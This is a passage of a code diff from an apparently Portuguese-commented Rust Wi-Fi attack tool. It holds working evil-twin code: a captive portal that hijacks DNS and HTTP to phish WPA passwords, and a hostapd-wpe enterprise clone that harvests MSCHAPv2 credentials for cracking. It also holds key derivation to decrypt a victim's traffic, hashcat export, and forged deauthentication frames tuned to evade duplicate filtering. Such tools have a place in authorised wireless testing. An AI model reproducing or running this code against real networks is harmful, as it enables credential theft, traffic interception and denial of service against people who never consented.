out.push(byte);
|
||||
i += 3;
|
||||
} else {
|
||||
out.push(bytes[i]);
|
||||
i += 1;
|
||||
}
|
||||
}
|
||||
b => {
|
||||
out.push(b);
|
||||
i += 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
String::from_utf8_lossy(&out).into_owned()
|
||||
}
|
||||
|
||||
fn html_escape(s: &str) -> String {
|
||||
s.replace('&', "&")
|
||||
.replace('<', "<")
|
||||
.replace('>', ">")
|
||||
.replace('"', """)
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn hostapd_conf_includes_required_fields_and_strips_newlines() {
|
||||
let conf = hostapd_conf("wlan1", "Rede\nMaliciosa", 6, Some("aa:bb:cc:dd:ee:ff"));
|
||||
assert!(conf.contains("interface=wlan1"));
|
||||
assert!(conf.contains("ssid=RedeMaliciosa"));
|
||||
assert!(!conf.contains("ssid=Rede\nMaliciosa"));
|
||||
assert!(conf.contains("channel=6"));
|
||||
assert!(conf.contains("hw_mode=g"));
|
||||
assert!(conf.contains("bssid=aa:bb:cc:dd:ee:ff"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn hostapd_conf_picks_5ghz_mode_above_channel_14() {
|
||||
let conf = hostapd_conf("wlan1", "Rede5G", 149, None);
|
||||
assert!(conf.contains("hw_mode=a"));
|
||||
assert!(!conf.contains("bssid="));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn dnsmasq_conf_hijacks_every_domain_to_the_gateway() {
|
||||
let conf = dnsmasq_conf("wlan1", "10.0.0.1", ("10.0.0.10", "10.0.0.200"));
|
||||
assert!(conf.contains("address=/#/10.0.0.1"));
|
||||
assert!(conf.contains("dhcp-range=10.0.0.10,10.0.0.200,12h"));
|
||||
assert!(conf.contains("no-resolv"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn iptables_rules_redirect_http_to_the_portal_port() {
|
||||
let rules = iptables_rules("wlan1", 8080);
|
||||
assert_eq!(rules.len(), 1);
|
||||
assert!(rules[0].contains(&"REDIRECT".to_string()));
|
||||
assert!(rules[0].contains(&"8080".to_string()));
|
||||
assert!(rules[0].contains(&"80".to_string()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn cleanup_rules_mirror_add_rules_with_delete_flag() {
|
||||
let add = iptables_rules("wlan1", 8080);
|
||||
let del = iptables_cleanup_rules("wlan1", 8080);
|
||||
assert_eq!(add.len(), del.len());
|
||||
assert!(add[0].contains(&"-A".to_string()));
|
||||
assert!(del[0].contains(&"-D".to_string()));
|
||||
assert!(!del[0].contains(&"-A".to_string()));
|
||||
}
|
||||
|
||||
fn sample_target(password: &str) -> CrackTarget {
|
||||
use crate::testutil::{handshake_frames, synthetic_handshake};
|
||||
let (m1, m2) = handshake_frames("RedeAlvo", password, 2, false);
|
||||
let hs = synthetic_handshake(
|
||||
"RedeAlvo",
|
||||
"00:11:22:33:44:55",
|
||||
"66:77:88:99:aa:bb",
|
||||
&m1,
|
||||
&m2,
|
||||
);
|
||||
CrackTarget::from_handshake(&hs).expect("alvo")
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn check_submission_only_accepts_the_real_password() {
|
||||
let target = sample_target("senha-verdadeira");
|
||||
assert_eq!(
|
||||
check_submission(&target, "senha-verdadeira"),
|
||||
PortalAttempt::Correct
|
||||
);
|
||||
assert_eq!(
|
||||
check_submission(&target, "chute-qualquer"),
|
||||
PortalAttempt::WrongPassword
|
||||
);
|
||||
assert_eq!(
|
||||
check_submission(&target, "curta"),
|
||||
PortalAttempt::InvalidLength
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn portal_server_rejects_wrong_password_then_accepts_the_real_one() {
|
||||
use std::io::{Read, Write};
|
||||
use std::net::TcpListener;
|
||||
use std::sync::atomic::AtomicBool;
|
||||
|
||||
let listener = TcpListener::bind("127.0.0.1:0").expect("bind");
|
||||
let addr = listener.local_addr().unwrap();
|
||||
let target = sample_target("senha-real-123");
|
||||
let stop = AtomicBool::new(false);
|
||||
let attempts = std::sync::Mutex::new(Vec::new());
|
||||
|
||||
let handle = std::thread::spawn(move || {
|
||||
run_portal(listener, "RedeAlvo", &target, &stop, |a| {
|
||||
attempts.lock().unwrap().push(a);
|
||||
})
|
||||
});
|
||||
|
||||
// Dá um tempinho pro accept() estar escutando antes do primeiro connect.
|
||||
std::thread::sleep(std::time::Duration::from_millis(50));
|
||||
|
||||
let post = |password: &str| -> String {
|
||||
let body = format!("password={password}");
|
||||
let req = format!(
|
||||
"POST /connect HTTP/1.1\r\nHost: x\r\nContent-Length: {}\r\n\r\n{body}",
|
||||
body.len()
|
||||
);
|
||||
let mut stream = std::net::TcpStream::connect(addr).expect("connect");
|
||||
stream.write_all(req.as_bytes()).unwrap();
|
||||
let mut resp = String::new();
|
||||
stream.read_to_string(&mut resp).unwrap();
|
||||
resp
|
||||
};
|
||||
|
||||
let wrong = post("senha-errada-aqui");
|
||||
assert!(wrong.contains("Senha incorreta"));
|
||||
|
||||
let right = post("senha-real-123");
|
||||
assert!(right.contains("Você já está conectado"));
|
||||
|
||||
let password = handle.join().unwrap();
|
||||
assert_eq!(password.as_deref(), Some("senha-real-123"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn portal_pages_escape_ssid_and_render_retry_notice() {
|
||||
let html = portal_login_html("Rede <script>", true);
|
||||
assert!(html.contains("Rede <script>"));
|
||||
assert!(!html.contains("<script>"));
|
||||
assert!(html.contains("Senha incorreta"));
|
||||
|
||||
let clean = portal_login_html("Rede Normal", false);
|
||||
assert!(!clean.contains("Senha incorreta"));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,224 @@
|
||||
//! Evil Twin pra redes WPA2/WPA3-Enterprise (802.1X — usuário+senha via
|
||||
//! RADIUS, não uma senha única como o PSK comum): clona o AP numa segunda
|
||||
//! interface anunciando o mesmo SSID e aceita o handshake EAP (PEAP/EAP-TTLS
|
||||
//! com MSCHAPv2) de qualquer cliente que tente autenticar nele. Diferente do
|
||||
//! Evil Twin de PSK (`eviltwin.rs`), aqui o dispositivo manda a credencial
|
||||
//! **automaticamente**, como parte do próprio protocolo 802.1X — não precisa
|
||||
//! de portal cativo nem de nenhuma ação humana, porque o cliente já tenta
|
||||
//! autenticar sozinho em qualquer AP que anuncie o SSID que ele reconhece.
|
||||
//!
|
||||
//! Isso só existe pra Enterprise porque só nela a senha (ou algo derivado
|
||||
//! dela) de fato viaja pela rede como parte da autenticação — no PSK a
|
||||
//! senha nunca é transmitida (só confere um MIC), por isso o Evil Twin de
|
||||
//! PSK precisa enganar um humano a digitá-la de novo.
|
||||
//!
|
||||
//! Orquestra o `hostapd-wpe` (não vem com o Sabiá — precisa estar instalado
|
||||
//! separadamente: não é um binário pequeno vendorizável como o reaver, é um
|
||||
//! patch sobre a árvore de build do próprio hostapd). O Sabiá só gera a
|
||||
//! config, o `eap_user` genérico e o certificado autoassinado, e depois lê o
|
||||
//! log de credenciais capturadas.
|
||||
//!
|
||||
//! Limitação honesta: o certificado é autoassinado. Clientes que validam a
|
||||
//! cadeia de certificado da rede (comum em dispositivos atualizados,
|
||||
//! principalmente com perfil MDM corporativo) vão recusar a conexão ou
|
||||
//! avisar o usuário — exatamente a defesa que deveria existir contra esse
|
||||
//! ataque. Funciona de verdade contra dispositivos configurados sem essa
|
||||
//! validação (ainda comum em redes legadas/mal configuradas), que é o caso
|
||||
//! que esse ataque sempre existiu para expor.
|
||||
|
||||
use std::fmt::Write as _;
|
||||
|
||||
/// Config do hostapd-wpe pro AP clone: mesmo SSID/canal do AP real,
|
||||
/// anunciando WPA2-Enterprise e aceitando qualquer EAP (PEAP/TTLS) — é o
|
||||
/// `eap_user_file` genérico que faz ele aceitar qualquer identidade.
|
||||
#[allow(clippy::too_many_arguments)]
|
||||
pub fn hostapd_wpe_conf(
|
||||
iface: &str,
|
||||
ssid: &str,
|
||||
channel: u32,
|
||||
eap_user_path: &str,
|
||||
ca_cert_path: &str,
|
||||
server_cert_path: &str,
|
||||
server_key_path: &str,
|
||||
wpe_logfile_path: &str,
|
||||
) -> String {
|
||||
let mut out = String::new();
|
||||
let _ = writeln!(out, "interface={iface}");
|
||||
let _ = writeln!(out, "driver=nl80211");
|
||||
let _ = writeln!(out, "ssid={}", sanitize_conf_value(ssid));
|
||||
let _ = writeln!(out, "hw_mode={}", if channel > 14 { "a" } else { "g" });
|
||||
let _ = writeln!(out, "channel={channel}");
|
||||
let _ = writeln!(out, "auth_algs=1");
|
||||
let _ = writeln!(out, "wmm_enabled=1");
|
||||
let _ = writeln!(out, "ignore_broadcast_ssid=0");
|
||||
let _ = writeln!(out, "wpa=2");
|
||||
let _ = writeln!(out, "wpa_key_mgmt=WPA-EAP");
|
||||
let _ = writeln!(out, "rsn_pairwise=CCMP");
|
||||
let _ = writeln!(out, "ieee8021x=1");
|
||||
let _ = writeln!(out, "eap_server=1");
|
||||
let _ = writeln!(out, "eap_user_file={eap_user_path}");
|
||||
let _ = writeln!(out, "ca_cert={ca_cert_path}");
|
||||
let _ = writeln!(out, "server_cert={server_cert_path}");
|
||||
let _ = writeln!(out, "private_key={server_key_path}");
|
||||
let _ = writeln!(out, "wpe_logfile={wpe_logfile_path}");
|
||||
out
|
||||
}
|
||||
|
||||
/// `eap_user` genérico: aceita qualquer identidade externa pra PEAP/TTLS e
|
||||
/// força MSCHAPv2 por dentro — é o que faz o hostapd-wpe logar usuário +
|
||||
/// challenge/response de qualquer cliente que tentar autenticar, sem
|
||||
/// precisar saber credenciais reais de antemão.
|
||||
pub const DEFAULT_EAP_USER_FILE: &str = concat!(
|
||||
"# gerado pelo Sabiá — aceita qualquer identidade, qualquer EAP externo\n",
|
||||
"* PEAP,TTLS\n",
|
||||
"\"anonymous\" TTLS-MSCHAPV2,MSCHAPV2 \"senha\" [2]\n",
|
||||
);
|
||||
|
||||
/// Argumentos do `openssl req` pra gerar o par certificado+chave
|
||||
/// autoassinado que o hostapd-wpe precisa pra abrir TLS (PEAP/TTLS sempre
|
||||
/// envolve um túnel TLS, mesmo sendo um AP falso). Efêmero: 1 dia de validade
|
||||
/// é de sobra pra uma sessão de teste.
|
||||
pub fn openssl_selfsigned_cert_args(key_path: &str, cert_path: &str) -> Vec<String> {
|
||||
[
|
||||
"req",
|
||||
"-x509",
|
||||
"-newkey",
|
||||
"rsa:2048",
|
||||
"-keyout",
|
||||
key_path,
|
||||
"-out",
|
||||
cert_path,
|
||||
"-days",
|
||||
"1",
|
||||
"-nodes",
|
||||
"-subj",
|
||||
"/CN=sabia-wpe",
|
||||
]
|
||||
.into_iter()
|
||||
.map(String::from)
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn sanitize_conf_value(value: &str) -> String {
|
||||
value.replace(['\n', '\r'], "")
|
||||
}
|
||||
|
||||
/// Uma credencial capturada: identidade + a linha pronta pra crackear
|
||||
/// (formato `netntlm` do John the Ripper / compatível com `hashcat -m 5500`),
|
||||
/// se o hostapd-wpe conseguiu capturar os dois.
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub struct CapturedCredential {
|
||||
pub username: String,
|
||||
pub netntlm: Option<String>,
|
||||
}
|
||||
|
||||
/// Lê o `wpe_logfile` e extrai as credenciais capturadas. Parser
|
||||
/// best-effort: o formato do hostapd-wpe é documentado (blocos
|
||||
/// `username:`/`challenge:`/`response:`/`jtr NETNTLM:`), mas não dá pra
|
||||
/// validar contra uma instalação de verdade nesta máquina (não é um
|
||||
/// binário que o Sabiá vendoriza). Pega a linha `jtr NETNTLM:` quando
|
||||
/// presente — já vem pronta pra `john --format=netntlm` ou pra reformatar
|
||||
/// pro `hashcat -m 5500` — e nunca falha "silenciosamente demais": o job
|
||||
/// sempre expõe o arquivo de log cru também, pra conferência manual.
|
||||
pub fn captured_identities(log: &str) -> Vec<CapturedCredential> {
|
||||
let mut out: Vec<CapturedCredential> = Vec::new();
|
||||
let mut current_username: Option<String> = None;
|
||||
for raw_line in log.lines() {
|
||||
let line = raw_line.trim();
|
||||
if let Some(rest) = line.strip_prefix("username:") {
|
||||
current_username = Some(rest.trim().to_string());
|
||||
} else if let Some(rest) = line.strip_prefix("jtr NETNTLM:") {
|
||||
let netntlm = rest.trim().to_string();
|
||||
let username = current_username
|
||||
.clone()
|
||||
.or_else(|| netntlm.split(':').next().map(str::to_string))
|
||||
.unwrap_or_default();
|
||||
if !out.iter().any(|c: &CapturedCredential| {
|
||||
c.username == username && c.netntlm.as_deref() == Some(netntlm.as_str())
|
||||
}) {
|
||||
out.push(CapturedCredential {
|
||||
username,
|
||||
netntlm: Some(netntlm),
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn hostapd_wpe_conf_includes_eap_and_tls_directives() {
|
||||
let conf = hostapd_wpe_conf(
|
||||
"wlan1",
|
||||
"Corp\nWifi",
|
||||
149,
|
||||
"/tmp/eap_user",
|
||||
"/tmp/ca.pem",
|
||||
"/tmp/server.pem",
|
||||
"/tmp/server.key",
|
||||
"/tmp/wpe.log",
|
||||
);
|
||||
assert!(conf.contains("interface=wlan1"));
|
||||
assert!(conf.contains("ssid=CorpWifi"));
|
||||
assert!(!conf.contains("ssid=Corp\nWifi"));
|
||||
assert!(conf.contains("hw_mode=a"));
|
||||
assert!(conf.contains("ieee8021x=1"));
|
||||
assert!(conf.contains("eap_server=1"));
|
||||
assert!(conf.contains("eap_user_file=/tmp/eap_user"));
|
||||
assert!(conf.contains("wpe_logfile=/tmp/wpe.log"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn openssl_args_reference_the_right_paths() {
|
||||
let args = openssl_selfsigned_cert_args("/tmp/k.key", "/tmp/c.pem");
|
||||
assert!(args.contains(&"/tmp/k.key".to_string()));
|
||||
assert!(args.contains(&"/tmp/c.pem".to_string()));
|
||||
assert!(args.contains(&"-x509".to_string()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn captured_identities_parses_username_and_netntlm_blocks() {
|
||||
let log = "\
|
||||
mschapv2: Thu Jan 1 00:00:00 1970
|
||||
username: bob
|
||||
challenge: aabbccddeeff0011
|
||||
response: 1122334455667788990011223344556677889900aabbcc
|
||||
jtr NETNTLM: bob:$NETNTLM$aabbccddeeff0011$1122334455667788990011223344556677889900aabbcc
|
||||
|
||||
mschapv2: Thu Jan 1 00:01:00 1970
|
||||
username: alice
|
||||
jtr NETNTLM: alice:$NETNTLM$0011223344556677$aabbccddeeff00112233445566778899aabbccdd
|
||||
";
|
||||
let creds = captured_identities(log);
|
||||
assert_eq!(creds.len(), 2);
|
||||
assert_eq!(creds[0].username, "bob");
|
||||
assert!(creds[0]
|
||||
.netntlm
|
||||
.as_deref()
|
||||
.unwrap()
|
||||
.starts_with("bob:$NETNTLM$"));
|
||||
assert_eq!(creds[1].username, "alice");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn captured_identities_dedupes_repeated_blocks_across_reparses() {
|
||||
let log = "\
|
||||
username: bob
|
||||
jtr NETNTLM: bob:$NETNTLM$aa$bb
|
||||
username: bob
|
||||
jtr NETNTLM: bob:$NETNTLM$aa$bb
|
||||
";
|
||||
let creds = captured_identities(log);
|
||||
assert_eq!(creds.len(), 1);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn captured_identities_returns_empty_for_a_log_with_no_credentials_yet() {
|
||||
assert!(captured_identities("").is_empty());
|
||||
assert!(captured_identities("hostapd-wpe v2.x starting up\n").is_empty());
|
||||
}
|
||||
}
|
||||
@@ -33,6 +33,12 @@ pub struct Handshake {
|
||||
pub first_seen_unix: u64,
|
||||
pub last_seen_unix: u64,
|
||||
pub password: Option<String>,
|
||||
/// Temporal Key (CCMP/AES) derivada quando `password` é preenchido.
|
||||
/// Só pra TKIP (key_version 1) fica None: a decriptação aqui só cobre
|
||||
/// CCMP. Serve pra enxergar o tráfego em claro desse par (BSSID,
|
||||
/// estação) específico — não abre o tráfego de outros clientes, já que
|
||||
/// a PTK é efêmera por associação.
|
||||
pub tk: Option<[u8; 16]>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, serde::Serialize)]
|
||||
@@ -244,9 +250,17 @@ impl HandshakeTracker {
|
||||
pub fn set_password(&mut self, bssid: &str, station: &str, password: &str) {
|
||||
if let Some(hs) = self.get_mut(bssid, station) {
|
||||
hs.password = Some(password.to_string());
|
||||
hs.tk = derive_tk(hs, password);
|
||||
}
|
||||
}
|
||||
|
||||
/// TK já derivada pra esse par (BSSID, estação), se a senha da rede já
|
||||
/// foi quebrada e o handshake tinha os dois nonces (EAPOL completo — um
|
||||
/// handshake só de PMKID não dá pra derivar PTK/TK, só confirma a PSK).
|
||||
pub fn tk_for(&self, bssid: &str, station: &str) -> Option<[u8; 16]> {
|
||||
self.get(bssid, station).and_then(|hs| hs.tk)
|
||||
}
|
||||
|
||||
pub fn len(&self) -> usize {
|
||||
self.map.len()
|
||||
}
|
||||
@@ -256,6 +270,26 @@ impl HandshakeTracker {
|
||||
}
|
||||
}
|
||||
|
||||
/// Deriva a TK (bytes 32..48 da PTK) a partir da senha quebrada, pra poder
|
||||
/// decifrar CCMP do tráfego desse cliente. Só funciona com EAPOL/CCMP
|
||||
/// completo (key_version 2); PMKID sozinho não tem os dois nonces pra
|
||||
/// derivar PTK, e TKIP (key_version 1) usa RC4 + Michael, não implementado.
|
||||
fn derive_tk(hs: &Handshake, password: &str) -> Option<[u8; 16]> {
|
||||
if hs.key_version != 2 {
|
||||
return None;
|
||||
}
|
||||
let ssid = hs.ssid.as_deref().filter(|s| !s.is_empty())?;
|
||||
let bssid = dot11::parse_mac(&hs.bssid)?;
|
||||
let station = dot11::parse_mac(&hs.station)?;
|
||||
let anonce = hs.anonce?;
|
||||
let snonce = hs.snonce?;
|
||||
let pmk = crate::crack::pmk_from_candidate(password, ssid.as_bytes())?;
|
||||
let ptk = crate::crack::compute_ptk(&pmk, &bssid, &station, &anonce, &snonce);
|
||||
let mut tk = [0u8; 16];
|
||||
tk.copy_from_slice(&ptk[32..48]);
|
||||
Some(tk)
|
||||
}
|
||||
|
||||
fn apply_key(hs: &mut Handshake, key: &EapolKey) {
|
||||
match key.message {
|
||||
1 => {
|
||||
|
||||
@@ -0,0 +1,86 @@
|
||||
//! Exportação no formato `.hc22000` do hashcat.
|
||||
//!
|
||||
//! Duas linhas possíveis, como no hcxtools:
|
||||
//!
|
||||
//! * `WPA*01*PMKID*AP*STA*SSID***`
|
||||
//! * `WPA*02*MIC*AP*STA*SSID*ANONCE*EAPOL*MESSAGEPAIR`
|
||||
//!
|
||||
//! O EAPOL exportado é o quadro da mensagem 2 completo (cabeçalho 802.1X +
|
||||
//! descritor), que é o que o hashcat espera no campo `EAPOL_CLIENT`.
|
||||
|
||||
use crate::eapol::MIC_OFFSET;
|
||||
use crate::handshake::Handshake;
|
||||
|
||||
fn mac_hex(mac: &str) -> Option<String> {
|
||||
let bytes: Vec<String> = mac
|
||||
.split(':')
|
||||
.map(|part| part.trim().to_ascii_lowercase())
|
||||
.collect();
|
||||
if bytes.len() != 6
|
||||
|| !bytes
|
||||
.iter()
|
||||
.all(|b| b.len() == 2 && b.chars().all(|c| c.is_ascii_hexdigit()))
|
||||
{
|
||||
return None;
|
||||
}
|
||||
Some(bytes.concat())
|
||||
}
|
||||
|
||||
fn ssid_hex(ssid: &str) -> String {
|
||||
ssid.as_bytes().iter().map(|b| format!("{b:02x}")).collect()
|
||||
}
|
||||
|
||||
fn hex(bytes: &[u8]) -> String {
|
||||
bytes.iter().map(|b| format!("{b:02x}")).collect()
|
||||
}
|
||||
|
||||
pub fn hashcat_line(hs: &Handshake) -> Option<String> {
|
||||
let ssid = hs.ssid.as_deref().filter(|s| !s.is_empty())?;
|
||||
let ap = mac_hex(&hs.bssid)?;
|
||||
let sta = mac_hex(&hs.station)?;
|
||||
let ssid = ssid_hex(ssid);
|
||||
|
||||
if let Some(pmkid) = hs.pmkid {
|
||||
return Some(format!("WPA*01*{}*{ap}*{sta}*{ssid}***", hex(&pmkid)));
|
||||
}
|
||||
|
||||
let eapol = hs.eapol_msg2.as_deref()?;
|
||||
let anonce = hs.anonce?;
|
||||
let mic = eapol.get(MIC_OFFSET..MIC_OFFSET + 16)?;
|
||||
Some(format!(
|
||||
"WPA*02*{}*{ap}*{sta}*{ssid}*{}*{}*00",
|
||||
hex(mic),
|
||||
hex(&anonce),
|
||||
hex(eapol),
|
||||
))
|
||||
}
|
||||
|
||||
/// Linhas únicas, uma por handshake que tenha material suficiente.
|
||||
pub fn export<'a>(handshakes: impl IntoIterator<Item = &'a Handshake>) -> Vec<String> {
|
||||
let mut lines: Vec<String> = handshakes.into_iter().filter_map(hashcat_line).collect();
|
||||
lines.sort();
|
||||
lines.dedup();
|
||||
lines
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use crate::handshake::Handshake;
|
||||
|
||||
#[test]
|
||||
fn exports_pmkid_line() {
|
||||
let hs = Handshake {
|
||||
bssid: "00:11:22:33:44:55".into(),
|
||||
station: "66:77:88:99:aa:bb".into(),
|
||||
ssid: Some("Casa".into()),
|
||||
pmkid: Some([0xcd; 16]),
|
||||
..Default::default()
|
||||
};
|
||||
let line = hashcat_line(&hs).expect("linha");
|
||||
assert_eq!(
|
||||
line,
|
||||
"WPA*01*cdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcd*001122334455*66778899aabb*43617361***"
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -17,13 +17,26 @@ fn radiotap_min() -> [u8; 8] {
|
||||
}
|
||||
|
||||
fn mgmt_frame(subtype: u8, bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8> {
|
||||
mgmt_frame_from(subtype, bssid, bssid, destination, reason)
|
||||
}
|
||||
|
||||
/// Quadro de gerenciamento com transmissor explícito. Permite forjar tanto
|
||||
/// AP→STA (`transmitter = BSSID`) quanto STA→AP (`transmitter = estação`),
|
||||
/// usado no teste bidirecional de PMF.
|
||||
fn mgmt_frame_from(
|
||||
subtype: u8,
|
||||
transmitter: [u8; 6],
|
||||
bssid: [u8; 6],
|
||||
destination: [u8; 6],
|
||||
reason: u16,
|
||||
) -> Vec<u8> {
|
||||
let fc: u16 = (subtype as u16) << 4;
|
||||
let mut f = Vec::with_capacity(8 + 24 + 2);
|
||||
f.extend_from_slice(&radiotap_min());
|
||||
f.extend_from_slice(&fc.to_le_bytes());
|
||||
f.extend_from_slice(&0u16.to_le_bytes());
|
||||
f.extend_from_slice(&destination); // addr1: destino
|
||||
f.extend_from_slice(&bssid); // addr2: BSSID/transmissor
|
||||
f.extend_from_slice(&transmitter); // addr2: transmissor
|
||||
f.extend_from_slice(&bssid); // addr3: BSSID
|
||||
f.extend_from_slice(&[0u8; 2]); // número de sequência
|
||||
f.extend_from_slice(&reason.to_le_bytes());
|
||||
@@ -36,11 +49,129 @@ pub fn deauth_frame(bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8
|
||||
mgmt_frame(12, bssid, destination, reason)
|
||||
}
|
||||
|
||||
/// Desautenticação forjada com transmissor arbitrário (STA→AP).
|
||||
pub fn deauth_frame_from(
|
||||
transmitter: [u8; 6],
|
||||
bssid: [u8; 6],
|
||||
destination: [u8; 6],
|
||||
reason: u16,
|
||||
) -> Vec<u8> {
|
||||
mgmt_frame_from(12, transmitter, bssid, destination, reason)
|
||||
}
|
||||
|
||||
/// Desassociação forjada com transmissor arbitrário (STA→AP).
|
||||
pub fn disassoc_frame_from(
|
||||
transmitter: [u8; 6],
|
||||
bssid: [u8; 6],
|
||||
destination: [u8; 6],
|
||||
reason: u16,
|
||||
) -> Vec<u8> {
|
||||
mgmt_frame_from(10, transmitter, bssid, destination, reason)
|
||||
}
|
||||
|
||||
/// Quadro de desassociação (subtipo 10).
|
||||
pub fn disassoc_frame(bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8> {
|
||||
mgmt_frame(10, bssid, destination, reason)
|
||||
}
|
||||
|
||||
/// Offset do campo "Sequence Control" dentro de um quadro de gerenciamento
|
||||
/// construído por [`mgmt_frame_from`] (8 de radiotap + 22 até o campo).
|
||||
const SEQ_CTRL_OFFSET: usize = 30;
|
||||
|
||||
/// Grava um número de sequência (0–4095) no quadro, deixando o número de
|
||||
/// fragmento (4 bits baixos) zerado. Sem isso, todo quadro injetado sai com
|
||||
/// sequência 0 e o driver do alvo descarta as repetições como duplicata,
|
||||
/// fazendo a desautenticação não ter efeito nenhum apesar de "enviada".
|
||||
pub fn set_seq(frame: &mut [u8], seq: u16) {
|
||||
if frame.len() < SEQ_CTRL_OFFSET + 2 {
|
||||
return;
|
||||
}
|
||||
let field = (seq & 0x0fff) << 4;
|
||||
frame[SEQ_CTRL_OFFSET] = (field & 0xff) as u8;
|
||||
frame[SEQ_CTRL_OFFSET + 1] = (field >> 8) as u8;
|
||||
}
|
||||
|
||||
fn ie(tag: u8, value: &[u8]) -> Vec<u8> {
|
||||
let mut out = Vec::with_capacity(2 + value.len());
|
||||
out.push(tag);
|
||||
out.push(value.len() as u8);
|
||||
out.extend_from_slice(value);
|
||||
out
|
||||
}
|
||||
|
||||
/// Autenticação aberta (algoritmo 0, sequência 1). Usada antes do association
|
||||
/// request no teste de PMKID.
|
||||
pub fn auth_frame(bssid: [u8; 6], station: [u8; 6]) -> Vec<u8> {
|
||||
let mut f = Vec::with_capacity(8 + 24 + 6);
|
||||
f.extend_from_slice(&radiotap_min());
|
||||
f.extend_from_slice(&0x00b0u16.to_le_bytes());
|
||||
f.extend_from_slice(&0u16.to_le_bytes());
|
||||
f.extend_from_slice(&bssid);
|
||||
f.extend_from_slice(&station);
|
||||
f.extend_from_slice(&bssid);
|
||||
f.extend_from_slice(&[0u8; 2]);
|
||||
f.extend_from_slice(&0u16.to_le_bytes()); // algoritmo aberto
|
||||
f.extend_from_slice(&1u16.to_le_bytes()); // sequência
|
||||
f.extend_from_slice(&0u16.to_le_bytes()); // status
|
||||
f
|
||||
}
|
||||
|
||||
fn rsn_ie(akms: &[u8], pmf: bool, pmf_required: bool, pmkid: &[u8; 16]) -> Vec<u8> {
|
||||
let mut val = Vec::new();
|
||||
val.extend_from_slice(&1u16.to_le_bytes());
|
||||
val.extend_from_slice(&[0x00, 0x0f, 0xac, 4]); // grupo CCMP
|
||||
val.extend_from_slice(&1u16.to_le_bytes());
|
||||
val.extend_from_slice(&[0x00, 0x0f, 0xac, 4]); // pairwise CCMP
|
||||
val.extend_from_slice(&(akms.len() as u16).to_le_bytes());
|
||||
for akm in akms {
|
||||
val.extend_from_slice(&[0x00, 0x0f, 0xac, *akm]);
|
||||
}
|
||||
let mut caps = 0u16;
|
||||
if pmf {
|
||||
caps |= 0x0080;
|
||||
}
|
||||
if pmf_required {
|
||||
caps |= 0x0040;
|
||||
}
|
||||
val.extend_from_slice(&caps.to_le_bytes());
|
||||
val.extend_from_slice(&1u16.to_le_bytes()); // PMKID count
|
||||
val.extend_from_slice(pmkid);
|
||||
ie(48, &val)
|
||||
}
|
||||
|
||||
/// Association request com RSN/PMKID. O AP pode responder com a mensagem 1
|
||||
/// do 4-way handshake contendo o PMKID — é isso que o teste tenta provocar.
|
||||
pub fn assoc_request_frame(
|
||||
bssid: [u8; 6],
|
||||
station: [u8; 6],
|
||||
ssid: &str,
|
||||
akms: &[u8],
|
||||
pmf: bool,
|
||||
pmf_required: bool,
|
||||
pmkid: [u8; 16],
|
||||
) -> Vec<u8> {
|
||||
let mut body = Vec::new();
|
||||
body.extend_from_slice(&0x0431u16.to_le_bytes()); // ESS + short slot
|
||||
body.extend_from_slice(&10u16.to_le_bytes()); // listen interval
|
||||
body.extend_from_slice(&ie(0, ssid.as_bytes()));
|
||||
body.extend_from_slice(&ie(1, &[0x82, 0x84, 0x8b, 0x96]));
|
||||
body.extend_from_slice(&ie(50, &[0x0c, 0x12, 0x18, 0x24, 0x30, 0x36]));
|
||||
if !akms.is_empty() {
|
||||
body.extend_from_slice(&rsn_ie(akms, pmf, pmf_required, &pmkid));
|
||||
}
|
||||
|
||||
let mut f = Vec::with_capacity(8 + 24 + body.len());
|
||||
f.extend_from_slice(&radiotap_min());
|
||||
f.extend_from_slice(&0x0000u16.to_le_bytes());
|
||||
f.extend_from_slice(&0u16.to_le_bytes());
|
||||
f.extend_from_slice(&bssid);
|
||||
f.extend_from_slice(&station);
|
||||
f.extend_from_slice(&bssid);
|
||||
f.extend_from_slice(&[0u8; 2]);
|
||||
f.extend_from_slice(&body);
|
||||
f
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub enum Reason {
|
||||
Unspecified = 1,
|
||||
@@ -160,4 +291,15 @@ mod tests {
|
||||
assert_eq!(&f[12..18], &BROADCAST);
|
||||
assert_eq!(f.len(), 8 + 24 + 2);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn set_seq_writes_sequence_number_without_touching_fragment_bits() {
|
||||
let mut f = deauth_frame(bssid(), station(), 7);
|
||||
set_seq(&mut f, 1);
|
||||
let seq_ctrl = u16::from_le_bytes([f[SEQ_CTRL_OFFSET], f[SEQ_CTRL_OFFSET + 1]]);
|
||||
assert_eq!(seq_ctrl, 1 << 4);
|
||||
set_seq(&mut f, 0x0fff);
|
||||
let seq_ctrl = u16::from_le_bytes([f[SEQ_CTRL_OFFSET], f[SEQ_CTRL_OFFSET + 1]]);
|
||||
assert_eq!(seq_ctrl, 0x0fff << 4);
|
||||
}
|
||||
}
|
||||
@@ -3,22 +3,31 @@
|
||||
